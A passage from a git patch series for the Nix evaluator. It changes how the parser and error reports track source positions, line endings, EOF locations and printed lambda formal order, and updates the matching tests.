b/tests/functional/lang/parse-fail-dup-attrs-2.err.exp @@ -3,3 +3,4 @@ error: attribute 'x' already defined at «stdin»:9:5 9| x = 789; 10| inherit (as) x; | ^ + 11| }; diff --git a/tests/functional/lang/parse-fail-dup-attrs-3.err.exp b/tests/functional/lang/parse-fail-dup-attrs-3.err.exp index fecdece20..4607a5d59 100644 --- a/tests/functional/lang/parse-fail-dup-attrs-3.err.exp +++ b/tests/functional/lang/parse-fail-dup-attrs-3.err.exp @@ -3,3 +3,4 @@ error: attribute 'x' already defined at «stdin»:9:5 9| x = 789; 10| inherit (as) x; | ^ + 11| }; diff --git a/tests/functional/lang/parse-fail-dup-attrs-4.err.exp b/tests/functional/lang/parse-fail-dup-attrs-4.err.exp index f85ffea51..c98a8f8d0 100644 --- a/tests/functional/lang/parse-fail-dup-attrs-4.err.exp +++ b/tests/functional/lang/parse-fail-dup-attrs-4.err.exp @@ -3,3 +3,4 @@ error: attribute 'services.ssh.port' already defined at «stdin»:2:3 2| services.ssh.port = 22; 3| services.ssh.port = 23; | ^ + 4| } diff --git a/tests/functional/lang/parse-fail-dup-attrs-7.err.exp b/tests/functional/lang/parse-fail-dup-attrs-7.err.exp index 98cea9dae..2daddf380 100644 --- a/tests/functional/lang/parse-fail-dup-attrs-7.err.exp +++ b/tests/functional/lang/parse-fail-dup-attrs-7.err.exp @@ -3,3 +3,4 @@ error: attribute 'x' already defined at «stdin»:6:12 6| inherit x; 7| inherit x; | ^ + 8| }; diff --git a/tests/functional/lang/parse-fail-undef-var-2.err.exp b/tests/functional/lang/parse-fail-undef-var-2.err.exp index a58d8dca4..393c454dd 100644 --- a/tests/functional/lang/parse-fail-undef-var-2.err.exp +++ b/tests/functional/lang/parse-fail-undef-var-2.err.exp @@ -1,5 +1,6 @@ error: syntax error, unexpected ':', expecting '}' at «stdin»:3:13: 2| - 3| f = {x, y : + 3| f = {x, y : ["baz" "bar" z "bat"]}: x + y; | ^ + 4| diff --git a/tests/functional/lang/parse-fail-utf8.err.exp b/tests/functional/lang/parse-fail-utf8.err.exp index e83abdb9e..1c83f6eb3 100644 --- a/tests/functional/lang/parse-fail-utf8.err.exp +++ b/tests/functional/lang/parse-fail-utf8.err.exp @@ -1,4 +1,5 @@ error: syntax error, unexpected invalid token, expecting end of file at «stdin»:1:5: - 1| 123 + 1| 123 é 4 | ^ + 2| From 4147ecfb1c51f3fe3b4adcbd4e753fd487dab645 Mon Sep 17 00:00:00 2001 From: pennae Date: Mon, 29 Jan 2024 06:19:23 +0100 Subject: [PATCH 40/90] normalize formal order on ExprLambda::show we already normalize attr order to lexicographic, doing the same for formals makes sense. doubly so because the order of formals would otherwise depend on the context of the expression, which is not quite as useful as one might expect. --- doc/manual/rl-next/formal-order.md | 7 +++++++ src/libexpr/nixexpr.cc | 5 ++++- tests/functional/lang/parse-okay-subversion.exp | 2 +- 3 files changed, 12 insertions(+), 2 deletions(-) create mode 100644 doc/manual/rl-next/formal-order.md diff --git a/doc/manual/rl-next/formal-order.md b/doc/manual/rl-next/formal-order.md new file mode 100644 index 000000000..12628e318 --- /dev/null +++ b/doc/manual/rl-next/formal-order.md @@ -0,0 +1,7 @@ +--- +synopsis: consistent order of lambda formals in printed expressions +prs: 9874 +--- + +Always print lambda formals in lexicographic order rather than the internal, creation-time based symbol order. +This makes printed formals independent of the context they appear in. diff --git a/src/libexpr/nixexpr.cc b/src/libexpr/nixexpr.cc index 4b805d710..9a8b9616b 100644 --- a/src/libexpr/nixexpr.cc +++ b/src/libexpr/nixexpr.cc @@ -149,7 +149,10 @@ void ExprLambda::show(const SymbolTable & symbols, std::ostream & str) const if (hasFormals()) { str << "{ "; bool first = true; - for (auto & i : formals->formals) { + // the natural Symbol ordering is by creation time, which can lead to the + // same expression being printed in two different ways depending on its + // context. always use lexicographic ordering to avoid this. + for (auto & i : formals->lexicographicOrder(symbols)) { if (first) first = false; else str << ", "; str << symbols[i.name]; if (i.def) { diff --git a/tests/functional/lang/parse-okay-subversion.exp b/tests/functional/lang/parse-okay-subversion.exp index 2303932c4..32fbba3c5 100644 --- a/tests/functional/lang/parse-okay-subversion.exp +++ b/tests/functional/lang/parse-okay-subversion.exp @@ -1 +1 @@ -({ fetchurl, localServer ? false, httpServer ? false, sslSupport ? false, pythonBindings ? false, javaSwigBindings ? false, javahlBindings ? false, stdenv, openssl ? null, httpd ? null, db4 ? null, expat, swig ? null, j2sdk ? null }: assert (expat != null); assert (localServer -> (db4 != null)); assert (httpServer -> ((httpd != null) && ((httpd).expat == expat))); assert (sslSupport -> ((openssl != null) && (httpServer -> ((httpd).openssl == openssl)))); assert (pythonBindings -> ((swig != null) && (swig).pythonSupport)); assert (javaSwigBindings -> ((swig != null) && (swig).javaSupport)); assert (javahlBindings -> (j2sdk != null)); ((stdenv).mkDerivation { inherit expat httpServer javaSwigBindings javahlBindings localServer pythonBindings sslSupport; builder = /foo/bar; db4 = (if localServer then db4 else null); httpd = (if httpServer then httpd else null); j2sdk = (if javaSwigBindings then (swig).j2sdk else (if javahlBindings then j2sdk else null)); name = "subversion-1.1.1"; openssl = (if sslSupport then openssl else null); patches = (if javahlBindings then [ (/javahl.patch) ] else [ ]); python = (if pythonBindings then (swig).python else null); src = (fetchurl { md5 = "a180c3fe91680389c210c99def54d9e0"; url = "http://subversion.tigris.org/tarballs/subversion-1.1.1.tar.bz2"; }); swig = (if (pythonBindings || javaSwigBindings) then swig else null); })) +({ db4 ? null, expat, fetchurl, httpServer ? false, httpd ? null, j2sdk ? null, javaSwigBindings ? false, javahlBindings ? false, localServer ? false, openssl ? null, pythonBindings ? false, sslSupport ? false, stdenv, swig ? null }: assert (expat != null); assert (localServer -> (db4 != null)); assert (httpServer -> ((httpd != null) && ((httpd).expat == expat))); assert (sslSupport -> ((openssl != null) && (httpServer -> ((httpd).openssl == openssl)))); assert (pythonBindings -> ((swig != null) && (swig).pythonSupport)); assert (javaSwigBindings -> ((swig != null) && (swig).javaSupport)); assert (javahlBindings -> (j2sdk != null)); ((stdenv).mkDerivation { inherit expat httpServer javaSwigBindings javahlBindings localServer pythonBindings sslSupport; builder = /foo/bar; db4 = (if localServer then db4 else null); httpd = (if httpServer then httpd else null); j2sdk = (if javaSwigBindings then (swig).j2sdk else (if javahlBindings then j2sdk else null)); name = "subversion-1.1.1"; openssl = (if sslSupport then openssl else null); patches = (if javahlBindings then [ (/javahl.patch) ] else [ ]); python = (if pythonBindings then (swig).python else null); src = (fetchurl { md5 = "a180c3fe91680389c210c99def54d9e0"; url = "http://subversion.tigris.org/tarballs/subversion-1.1.1.tar.bz2"; }); swig = (if (pythonBindings || javaSwigBindings) then swig else null); })) From 1edd6fada53553b89847ac3981ac28025857ca02 Mon Sep 17 00:00:00 2001 From: pennae Date: Mon, 29 Jan 2024 06:19:23 +0100 Subject: [PATCH 41/90] report inherit attr errors at the duplicate name previously we reported the error at the beginning of the binding block (for plain inherits) or the beginning of the attr list (for inherit-from), effectively hiding where exactly the error happened. this also carries over to runtime positions of attributes in sets as reported by unsafeGetAttrPos. we're not worried about this changing observable eval behavior because it *is* marked unsafe, and the new behavior is much more useful. --- doc/manual/rl-next/inherit-error-positions.md | 6 +++++ src/libexpr/parser.y | 25 ++++++++++--------- .../lang/eval-okay-inherit-attr-pos.exp | 1 + .../lang/eval-okay-inherit-attr-pos.nix | 12 +++++++++ .../lang/parse-fail-dup-attrs-2.err.exp | 4 +-- .../lang/parse-fail-dup-attrs-3.err.exp | 4 +-- .../lang/parse-fail-dup-attrs-7.err.exp | 6 ++--- .../parse-fail-regression-20060610.err.exp | 6 ++--- 8 files changed, 42 insertions(+), 22 deletions(-) create mode 100644 doc/manual/rl-next/inherit-error-positions.md create mode 100644 tests/functional/lang/eval-okay-inherit-attr-pos.exp create mode 100644 tests/functional/lang/eval-okay-inherit-attr-pos.nix diff --git a/doc/manual/rl-next/inherit-error-positions.md b/doc/manual/rl-next/inherit-error-positions.md new file mode 100644 index 000000000..643080e9e --- /dev/null +++ b/doc/manual/rl-next/inherit-error-positions.md @@ -0,0 +1,6 @@ +--- +synopsis: fix duplicate attribute error positions for `inherit` +prs: 9874 +--- + +When an inherit caused a duplicate attribute error the position of the error was not reported correctly, placing the error with the inherit itself or at the start of the bindings block instead of the offending attribute name. diff --git a/src/libexpr/parser.y b/src/libexpr/parser.y index b0aee7b41..9a543d636 100644 --- a/src/libexpr/parser.y +++ b/src/libexpr/parser.y @@ -87,6 +87,7 @@ void yyerror(YYLTYPE * loc, yyscan_t scanner, ParserState * state, const char * nix::StringToken uri; nix::StringToken str; std::vector * attrNames; + std::vector> * inheritAttrs; std::vector> * string_parts; std::vector>> * ind_string_parts; } @@ -97,7 +98,8 @@ void yyerror(YYLTYPE * loc, yyscan_t scanner, ParserState * state, const char * %type binds %type formals %type formal -%type attrs attrpath +%type attrpath +%type attrs %type string_parts_interpolated %type ind_string_parts %type path_start string_parts string_attr @@ -309,13 +311,12 @@ binds : binds attrpath '=' expr ';' { $$ = $1; state->addAttr($$, std::move(*$2), $4, state->at(@2)); delete $2; } | binds INHERIT attrs ';' { $$ = $1; - for (auto & i : *$3) { + for (auto & [i, iPos] : *$3) { if ($$->attrs.find(i.symbol) != $$->attrs.end()) - state->dupAttr(i.symbol, state->at(@3), $$->attrs[i.symbol].pos); - auto pos = state->at(@3); + state->dupAttr(i.symbol, iPos, $$->attrs[i.symbol].pos); $$->attrs.emplace( i.symbol, - ExprAttrs::AttrDef(new ExprVar(CUR_POS, i.symbol), pos, ExprAttrs::AttrDef::Kind::Inherited)); + ExprAttrs::AttrDef(new ExprVar(iPos, i.symbol), iPos, ExprAttrs::AttrDef::Kind::Inherited)); } delete $3; } @@ -325,14 +326,14 @@ binds $$->inheritFromExprs = std::make_unique>(); $$->inheritFromExprs->push_back($4); auto from = new nix::ExprInheritFrom(state->at(@4), $$->inheritFromExprs->size() - 1); - for (auto & i : *$6) { + for (auto & [i, iPos] : *$6) { if ($$->attrs.find(i.symbol) != $$->attrs.end()) - state->dupAttr(i.symbol, state->at(@6), $$->attrs[i.symbol].pos); + state->dupAttr(i.symbol, iPos, $$->attrs[i.symbol].pos); $$->attrs.emplace( i.symbol, ExprAttrs::AttrDef( - new ExprSelect(CUR_POS, from, i.symbol), - state->at(@6), + new ExprSelect(iPos, from, i.symbol), + iPos, ExprAttrs::AttrDef::Kind::InheritedFrom)); } delete $6; @@ -341,12 +342,12 @@ binds ; attrs - : attrs attr { $$ = $1; $1->push_back(AttrName(state->symbols.create($2))); } + : attrs attr { $$ = $1; $1->emplace_back(AttrName(state->symbols.create($2)), state->at(@2)); } | attrs string_attr { $$ = $1; ExprString * str = dynamic_cast($2); if (str) { - $$->push_back(AttrName(state->symbols.create(str->s))); + $$->emplace_back(AttrName(state->symbols.create(str->s)), state->at(@2)); delete str; } else throw ParseError({ @@ -354,7 +355,7 @@ attrs .pos = state->positions[state->at(@2)] }); } - | { $$ = new AttrPath; } + | { $$ = new std::vector>; } ; attrpath diff --git a/tests/functional/lang/eval-okay-inherit-attr-pos.exp b/tests/functional/lang/eval-okay-inherit-attr-pos.exp new file mode 100644 index 000000000..e87d037c6 --- /dev/null +++ b/tests/functional/lang/eval-okay-inherit-attr-pos.exp @@ -0,0 +1 @@ +[ { column = 17; file = "/pwd/lang/eval-okay-inherit-attr-pos.nix"; line = 4; } { column = 19; file = "/pwd/lang/eval-okay-inherit-attr-pos.nix"; line = 4; } { column = 21; file = "/pwd/lang/eval-okay-inherit-attr-pos.nix"; line = 5; } { column = 23; file = "/pwd/lang/eval-okay-inherit-attr-pos.nix"; line = 5; } ] diff --git a/tests/functional/lang/eval-okay-inherit-attr-pos.nix b/tests/functional/lang/eval-okay-inherit-attr-pos.nix new file mode 100644 index 000000000..017ab1d36 --- /dev/null +++ b/tests/functional/lang/eval-okay-inherit-attr-pos.nix @@ -0,0 +1,12 @@ +let + d = 0; + x = 1; + y = { inherit d x; }; + z = { inherit (y) d x; }; +in + [ + (builtins.unsafeGetAttrPos "d" y) + (builtins.unsafeGetAttrPos "x" y) + (builtins.unsafeGetAttrPos "d" z) + (builtins.unsafeGetAttrPos "x" z) + ] diff --git a/tests/functional/lang/parse-fail-dup-attrs-2.err.exp b/tests/functional/lang/parse-fail-dup-attrs-2.err.exp index 4607a5d59..3105e60de 100644 --- a/tests/functional/lang/parse-fail-dup-attrs-2.err.exp +++ b/tests/functional/lang/parse-fail-dup-attrs-2.err.exp @@ -1,6 +1,6 @@ error: attribute 'x' already defined at «stdin»:9:5 - at «stdin»:10:17: + at «stdin»:10:18: 9| x = 789; 10| inherit (as) x; - | ^ + | ^ 11| }; diff --git a/tests/functional/lang/parse-fail-dup-attrs-3.err.exp b/tests/functional/lang/parse-fail-dup-attrs-3.err.exp index 4607a5d59..3105e60de 100644 --- a/tests/functional/lang/parse-fail-dup-attrs-3.err.exp +++ b/tests/functional/lang/parse-fail-dup-attrs-3.err.exp @@ -1,6 +1,6 @@ error: attribute 'x' already defined at «stdin»:9:5 - at «stdin»:10:17: + at «stdin»:10:18: 9| x = 789; 10| inherit (as) x; - | ^ + | ^ 11| }; diff --git a/tests/functional/lang/parse-fail-dup-attrs-7.err.exp b/tests/functional/lang/parse-fail-dup-attrs-7.err.exp index 2daddf380..4e0a48eff 100644 --- a/tests/functional/lang/parse-fail-dup-attrs-7.err.exp +++ b/tests/functional/lang/parse-fail-dup-attrs-7.err.exp @@ -1,6 +1,6 @@ -error: attribute 'x' already defined at «stdin»:6:12 - at «stdin»:7:12: +error: attribute 'x' already defined at «stdin»:6:13 + at «stdin»:7:13: 6| inherit x; 7| inherit x; - | ^ + | ^ 8| }; diff --git a/tests/functional/lang/parse-fail-regression-20060610.err.exp b/tests/functional/lang/parse-fail-regression-20060610.err.exp index d8875a6a5..6ae7c01bf 100644 --- a/tests/functional/lang/parse-fail-regression-20060610.err.exp +++ b/tests/functional/lang/parse-fail-regression-20060610.err.exp @@ -1,6 +1,6 @@ error: undefined variable 'gcc' - at «stdin»:8:12: - 7| + at «stdin»:9:13: 8| body = ({ - | ^ 9| inherit gcc; + | ^ + 10| }).gcc; From 2be6b143289e5479cc4a2667bb84e879116c2447 Mon Sep 17 00:00:00 2001 From: pennae Date: Mon, 29 Jan 2024 06:19:23 +0100 Subject: [PATCH 42/90] match line endings used by parser and error reports the parser treats a plain \r as a newline, error reports do not. this can lead to interesting divergences if anything makes use of this feature, with error reports pointing to wrong locations in the input (or even outside the input altogether). --- src/libutil/position.cc | 55 +++++++++++-------- src/libutil/position.hh | 42 ++++++++++++++ tests/functional/lang/eval-fail-eol-1.err.exp | 6 ++ tests/functional/lang/eval-fail-eol-1.nix | 3 + tests/functional/lang/eval-fail-eol-2.err.exp | 6 ++ tests/functional/lang/eval-fail-eol-2.nix | 2 + tests/functional/lang/eval-fail-eol-3.err.exp | 6 ++ tests/functional/lang/eval-fail-eol-3.nix | 3 + 8 files changed, 99 insertions(+), 24 deletions(-) create mode 100644 tests/functional/lang/eval-fail-eol-1.err.exp create mode 100644 tests/functional/lang/eval-fail-eol-1.nix create mode 100644 tests/functional/lang/eval-fail-eol-2.err.exp create mode 100644 tests/functional/lang/eval-fail-eol-2.nix create mode 100644 tests/functional/lang/eval-fail-eol-3.err.exp create mode 100644 tests/functional/lang/eval-fail-eol-3.nix diff --git a/src/libutil/position.cc b/src/libutil/position.cc index b39a5a1d4..724e560b7 100644 --- a/src/libutil/position.cc +++ b/src/libutil/position.cc @@ -29,32 +29,17 @@ std::optional Pos::getCodeLines() const return std::nullopt; if (auto source = getSource()) { - - std::istringstream iss(*source); - // count the newlines. - int count = 0; - std::string curLine; - int pl = line - 1; - + LinesIterator lines(*source), end; LinesOfCode loc; - do { - std::getline(iss, curLine); - ++count; - if (count < pl) - ; - else if (count == pl) { - loc.prevLineOfCode = curLine; - } else if (count == pl + 1) { - loc.errLineOfCode = curLine; - } else if (count == pl + 2) { - loc.nextLineOfCode = curLine; - break; - } - - if (!iss.good()) - break; - } while (true); + if (line > 1) + std::advance(lines, line - 2); + if (lines != end && line > 1) + loc.prevLineOfCode = *lines++; + if (lines != end) + loc.errLineOfCode = *lines++; + if (lines != end) + loc.nextLineOfCode = *lines++; return loc; } @@ -109,4 +94,26 @@ std::ostream & operator<<(std::ostream & str, const Pos & pos) return str; } +void Pos::LinesIterator::bump(bool atFirst) +{ + if (!atFirst) { + pastEnd = input.empty(); + if (!input.empty() && input[0] == '\r') + input.remove_prefix(1); + if (!input.empty() && input[0] == '\n') + input.remove_prefix(1); + } + + // nix line endings are not only \n as eg std::getline assumes, but also + // \r\n **and \r alone**. not treating them all the same causes error + // reports to not match with line numbers as the parser expects them. + auto eol = input.find_first_of("\r\n"); + + if (eol > input.size()) + eol = input.size(); + + curLine = input.substr(0, eol); + input.remove_prefix(eol); +} + } diff --git a/src/libutil/position.hh b/src/libutil/position.hh index a184997ed..9bdf3b4b5 100644 --- a/src/libutil/position.hh +++ b/src/libutil/position.hh @@ -67,6 +67,48 @@ struct Pos bool operator==(const Pos & rhs) const = default; bool operator!=(const Pos & rhs) const = default; bool operator<(const Pos & rhs) const; + + struct LinesIterator { + using difference_type = size_t; + using value_type = std::string_view; + using reference = const std::string_view &; + using pointer = const std::string_view *; + using iterator_category = std::input_iterator_tag; + + LinesIterator(): pastEnd(true) {} + explicit LinesIterator(std::string_view input): input(input), pastEnd(input.empty()) { + if (!pastEnd) + bump(true); + } + + LinesIterator & operator++() { + bump(false); + return *this; + } + LinesIterator operator++(int) { + auto result = *this; + ++*this; + return result; + } + + reference operator*() const { return curLine; } + pointer operator->() const { return &curLine; } + + bool operator!=(const LinesIterator & other) const { + return !(*this == other); + } + bool operator==(const LinesIterator & other) const { + return (pastEnd && other.pastEnd) + || (std::forward_as_tuple(input.size(), input.data()) + == std::forward_as_tuple(other.input.size(), other.input.data())); + } + + private: + std::string_view input, curLine; + bool pastEnd = false; + + void bump(bool atFirst); + }; }; std::ostream & operator<<(std::ostream & str, const Pos & pos); diff --git a/tests/functional/lang/eval-fail-eol-1.err.exp b/tests/functional/lang/eval-fail-eol-1.err.exp new file mode 100644 index 000000000..3f5a5c22c --- /dev/null +++ b/tests/functional/lang/eval-fail-eol-1.err.exp @@ -0,0 +1,6 @@ +error: undefined variable 'invalid' + at /pwd/lang/eval-fail-eol-1.nix:2:1: + 1| # foo + 2| invalid + | ^ + 3| # bar diff --git a/tests/functional/lang/eval-fail-eol-1.nix b/tests/functional/lang/eval-fail-eol-1.nix new file mode 100644 index 000000000..476223919 --- /dev/null +++ b/tests/functional/lang/eval-fail-eol-1.nix @@ -0,0 +1,3 @@ +# foo +invalid +# bar diff --git a/tests/functional/lang/eval-fail-eol-2.err.exp b/tests/functional/lang/eval-fail-eol-2.err.exp new file mode 100644 index 000000000..ff13e2d55 --- /dev/null +++ b/tests/functional/lang/eval-fail-eol-2.err.exp @@ -0,0 +1,6 @@ +error: undefined variable 'invalid' + at /pwd/lang/eval-fail-eol-2.nix:2:1: + 1| # foo + 2| invalid + | ^ + 3| # bar diff --git a/tests/functional/lang/eval-fail-eol-2.nix b/tests/functional/lang/eval-fail-eol-2.nix new file mode 100644 index 000000000..0cf92a425 --- /dev/null +++ b/tests/functional/lang/eval-fail-eol-2.nix @@ -0,0 +1,2 @@ +# foo invalid +# bar diff --git a/tests/functional/lang/eval-fail-eol-3.err.exp b/tests/functional/lang/eval-fail-eol-3.err.exp new file mode 100644 index 000000000..ada3c5ecd --- /dev/null +++ b/tests/functional/lang/eval-fail-eol-3.err.exp @@ -0,0 +1,6 @@ +error: undefined variable 'invalid' + at /pwd/lang/eval-fail-eol-3.nix:2:1: + 1| # foo + 2| invalid + | ^ + 3| # bar diff --git a/tests/functional/lang/eval-fail-eol-3.nix b/tests/functional/lang/eval-fail-eol-3.nix new file mode 100644 index 000000000..33422452d --- /dev/null +++ b/tests/functional/lang/eval-fail-eol-3.nix @@ -0,0 +1,3 @@ +# foo +invalid +# bar From 855fd5a1bb781e4f722c1d757ba43e866d370132 Mon Sep 17 00:00:00 2001 From: pennae Date: Mon, 29 Jan 2024 06:19:23 +0100 Subject: [PATCH 43/90] diagnose "unexpected EOF" at EOF this needs a string comparison because there seems to be no other way to get that information out of bison. usually the location info is going to be correct (pointing at a bad token), but since EOF isn't a token as such it'll be wrong in that this case. this hasn't shown up much so far because a single line ending *is* a token, so any file formatted in the usual manner (ie, ending in a line ending) would have its EOF position reported correctly. --- src/libexpr/parser.y | 4 ++++ tests/functional/lang/parse-fail-eof-in-string.err.exp | 4 ++-- tests/functional/lang/parse-fail-eof-pos.err.exp | 5 +++++ tests/functional/lang/parse-fail-eof-pos.nix | 2 ++ 4 files changed, 13 insertions(+), 2 deletions(-) create mode 100644 tests/functional/lang/parse-fail-eof-pos.err.exp create mode 100644 tests/functional/lang/parse-fail-eof-pos.nix diff --git a/src/libexpr/parser.y b/src/libexpr/parser.y index 9a543d636..59f088d53 100644 --- a/src/libexpr/parser.y +++ b/src/libexpr/parser.y @@ -64,6 +64,10 @@ using namespace nix; void yyerror(YYLTYPE * loc, yyscan_t scanner, ParserState * state, const char * error) { + if (std::string_view(error).starts_with("syntax error, unexpected end of file")) { + loc->first_column = loc->last_column; + loc->first_line = loc->last_line; + } throw ParseError({ .msg = HintFmt(error), .pos = state->positions[state->at(*loc)] diff --git a/tests/functional/lang/parse-fail-eof-in-string.err.exp b/tests/functional/lang/parse-fail-eof-in-string.err.exp index b28d35950..17f34b62d 100644 --- a/tests/functional/lang/parse-fail-eof-in-string.err.exp +++ b/tests/functional/lang/parse-fail-eof-in-string.err.exp @@ -1,5 +1,5 @@ error: syntax error, unexpected end of file, expecting '"' - at «stdin»:3:5: + at «stdin»:3:6: 2| # Note that this file must not end with a newline. 3| a 1"$ - | ^ + | ^ diff --git a/tests/functional/lang/parse-fail-eof-pos.err.exp b/tests/functional/lang/parse-fail-eof-pos.err.exp new file mode 100644 index 000000000..ef9ca381c --- /dev/null +++ b/tests/functional/lang/parse-fail-eof-pos.err.exp @@ -0,0 +1,5 @@ +error: syntax error, unexpected end of file + at «stdin»:3:1: + 2| # no content + 3| + | ^ diff --git a/tests/functional/lang/parse-fail-eof-pos.nix b/tests/functional/lang/parse-fail-eof-pos.nix new file mode 100644 index 000000000..bd66a2c98 --- /dev/null +++ b/tests/functional/lang/parse-fail-eof-pos.nix @@ -0,0 +1,2 @@ +( +# no content From 5d9fdab3de0ee17c71369ad05806b9ea06dfceda Mon Sep 17 00:00:00 2001 From: pennae Date: Mon, 29 Jan 2024 06:19:23 +0100 Subject: [PATCH 44/90] use byte indexed locations for PosIdx we now keep not a table of all positions, but a table of all origins and their sizes. position indices are now direct pointers into the virtual concatenation of all parsed contents. this slightly reduces memory usage and time spent in the parser, at the cost of not being able to report positions if the total input size exceeds 4GiB. this limit is not unique to nix though, rustc and clang also limit their input to 4GiB (although at least clang refuses to process inputs that are larger, we will not). this new 4GiB limit probably will not cause any problems for quite a while, all of nixpkgs together is less than 100MiB in size and already needs over 700MiB of memory and multiple seconds just to parse. 4GiB worth of input will easily take multiple minutes and over 30GiB of memory without even evaluating anything. if problems *do* arise we can probably recover the old table-based system by adding some tracking to Pos::Origin (or increasing the size of PosIdx outright), but for time being this looks like more complexity than it's worth. since we now need to read the entire input again to determine the line/column of a position we'll make unsafeGetAttrPos slightly lazy: mostly the set it returns is only used to determine the file of origin of an attribute, not its exact location. the thunks do not add measurable runtime overhead. notably this change is necessary to allow changing the parser since apparently nothing supports nix's very idiosyncratic line ending choice of "anything goes", making it very hard to calculate line/column positions in the parser (while byte offsets are very easy). --- src/libexpr/eval.cc | 7 +-- src/libexpr/flake/flake.cc | 3 +- src/libexpr/lexer.l | 23 +------- src/libexpr/nixexpr.cc | 33 +++++++++++ src/libexpr/nixexpr.hh | 1 - src/libexpr/parser-state.hh | 9 +-- src/libexpr/parser.y | 2 +- src/libexpr/pos-idx.hh | 1 + src/libexpr/pos-table.hh | 92 ++++++++++++++++--------------- src/libexpr/primops.cc | 48 ++++++++++++++++ src/libexpr/primops.hh | 2 + tests/unit/libexpr/primops.cc | 6 +- tests/unit/libexpr/value/print.cc | 8 +-- 13 files changed, 150 insertions(+), 85 deletions(-) diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index 3d22723b3..bbccfcd29 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -949,12 +949,11 @@ void EvalState::mkThunk_(Value & v, Expr * expr) void EvalState::mkPos(Value & v, PosIdx p) { - auto pos = positions[p]; - if (auto path = std::get_if(&pos.origin)) { + auto origin = positions.originOf(p); + if (auto path = std::get_if(&origin)) { auto attrs = buildBindings(3); attrs.alloc(sFile).mkString(path->path.abs()); - attrs.alloc(sLine).mkInt(pos.line); - attrs.alloc(sColumn).mkInt(pos.column); + makePositionThunks(*this, p, attrs.alloc(sLine), attrs.alloc(sColumn)); v.mkAttrs(attrs); } else v.mkNull(); diff --git a/src/libexpr/flake/flake.cc b/src/libexpr/flake/flake.cc index fd9341504..dd8924859 100644 --- a/src/libexpr/flake/flake.cc +++ b/src/libexpr/flake/flake.cc @@ -212,11 +212,10 @@ static Flake readFlake( { auto flakePath = rootDir / CanonPath(resolvedRef.subdir) / "flake.nix"; + // NOTE evalFile forces vInfo to be an attrset because mustBeTrivial is true. Value vInfo; state.evalFile(flakePath, vInfo, true); - expectType(state, nAttrs, vInfo, state.positions.add(Pos::Origin(rootDir), 1, 1)); - Flake flake { .originalRef = originalRef, .resolvedRef = resolvedRef, diff --git a/src/libexpr/lexer.l b/src/libexpr/lexer.l index 5b26d6927..ee2b6b807 100644 --- a/src/libexpr/lexer.l +++ b/src/libexpr/lexer.l @@ -33,33 +33,16 @@ namespace nix { static void initLoc(YYLTYPE * loc) { - loc->first_line = loc->last_line = 1; - loc->first_column = loc->last_column = 1; + loc->first_line = loc->last_line = 0; + loc->first_column = loc->last_column = 0; } static void adjustLoc(YYLTYPE * loc, const char * s, size_t len) { loc->stash(); - loc->first_line = loc->last_line; loc->first_column = loc->last_column; - - for (size_t i = 0; i < len; i++) { - switch (*s++) { - case '\r': - if (*s == '\n') { /* cr/lf */ - i++; - s++; - } - /* fall through */ - case '\n': - ++loc->last_line; - loc->last_column = 1; - break; - default: - ++loc->last_column; - } - } + loc->last_column += len; } diff --git a/src/libexpr/nixexpr.cc b/src/libexpr/nixexpr.cc index 9a8b9616b..5bdc466eb 100644 --- a/src/libexpr/nixexpr.cc +++ b/src/libexpr/nixexpr.cc @@ -583,6 +583,39 @@ std::string ExprLambda::showNamePos(const EvalState & state) const +/* Position table. */ + +Pos PosTable::operator[](PosIdx p) const +{ + auto origin = resolve(p); + if (!origin) + return {}; + + const auto offset = origin->offsetOf(p); + + Pos result{0, 0, origin->origin}; + auto lines = this->lines.lock(); + auto linesForInput = (*lines)[origin->offset]; + + if (linesForInput.empty()) { + auto source = result.getSource().value_or(""); + const char * begin = source.data(); + for (Pos::LinesIterator it(source), end; it != end; it++) + linesForInput.push_back(it->data() - begin); + if (linesForInput.empty()) + linesForInput.push_back(0); + } + // as above: the first line starts at byte 0 and is always present + auto lineStartOffset = std::prev( + std::upper_bound(linesForInput.begin(), linesForInput.end(), offset)); + + result.line = 1 + (lineStartOffset - linesForInput.begin()); + result.column = 1 + (offset - *lineStartOffset); + return result; +} + + + /* Symbol table. */ size_t SymbolTable::totalSize() const diff --git a/src/libexpr/nixexpr.hh b/src/libexpr/nixexpr.hh index 94356759b..e3cae8385 100644 --- a/src/libexpr/nixexpr.hh +++ b/src/libexpr/nixexpr.hh @@ -7,7 +7,6 @@ #include "value.hh" #include "symbol-table.hh" #include "error.hh" -#include "chunked-vector.hh" #include "position.hh" #include "eval-error.hh" #include "pos-idx.hh" diff --git a/src/libexpr/parser-state.hh b/src/libexpr/parser-state.hh index 34aef661f..024e79c43 100644 --- a/src/libexpr/parser-state.hh +++ b/src/libexpr/parser-state.hh @@ -24,20 +24,15 @@ struct ParserLocation int last_line, last_column; // backup to recover from yyless(0) - int stashed_first_line, stashed_first_column; - int stashed_last_line, stashed_last_column; + int stashed_first_column, stashed_last_column; void stash() { - stashed_first_line = first_line; stashed_first_column = first_column; - stashed_last_line = last_line; stashed_last_column = last_column; } void unstash() { - first_line = stashed_first_line; first_column = stashed_first_column; - last_line = stashed_last_line; last_column = stashed_last_column; } }; @@ -276,7 +271,7 @@ inline Expr * ParserState::stripIndentation(const PosIdx pos, inline PosIdx ParserState::at(const ParserLocation & loc) { - return positions.add(origin, loc.first_line, loc.first_column); + return positions.add(origin, loc.first_column); } } diff --git a/src/libexpr/parser.y b/src/libexpr/parser.y index 59f088d53..bff066170 100644 --- a/src/libexpr/parser.y +++ b/src/libexpr/parser.y @@ -438,7 +438,7 @@ Expr * parseExprFromBuf( .symbols = symbols, .positions = positions, .basePath = basePath, - .origin = {origin}, + .origin = positions.addOrigin(origin, length), .rootFS = rootFS, .s = astSymbols, }; diff --git a/src/libexpr/pos-idx.hh b/src/libexpr/pos-idx.hh index 9949f1dc5..e94fd85c6 100644 --- a/src/libexpr/pos-idx.hh +++ b/src/libexpr/pos-idx.hh @@ -6,6 +6,7 @@ namespace nix { class PosIdx { + friend struct LazyPosAcessors; friend class PosTable; private: diff --git a/src/libexpr/pos-table.hh b/src/libexpr/pos-table.hh index 1decf3c85..8a0a3ba86 100644 --- a/src/libexpr/pos-table.hh +++ b/src/libexpr/pos-table.hh @@ -7,6 +7,7 @@ #include "chunked-vector.hh" #include "pos-idx.hh" #include "position.hh" +#include "sync.hh" namespace nix { @@ -17,66 +18,69 @@ public: { friend PosTable; private: - // must always be invalid by default, add() replaces this with the actual value. - // subsequent add() calls use this index as a token to quickly check whether the - // current origins.back() can be reused or not. - 